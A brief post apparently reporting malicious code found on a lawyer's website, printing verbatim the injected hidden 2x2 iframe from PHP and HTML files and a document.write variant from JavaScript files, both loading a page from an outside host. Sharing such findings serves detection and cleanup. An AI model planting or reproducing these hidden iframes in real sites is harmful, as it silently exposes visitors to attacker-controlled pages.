Malicious Iframe injection

Found following malicious code on a lawyer's website.

In PHP and HTML files, code was:

<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?i=1613929></iframe>

and in Javascript files (.js) code was:
document.write('<iframe name=Twitter scrolling=auto frameborder=no align=center height=2 width=2 src=http://totalhealthfairs.com/azzf.html?j=1613929></iframe>');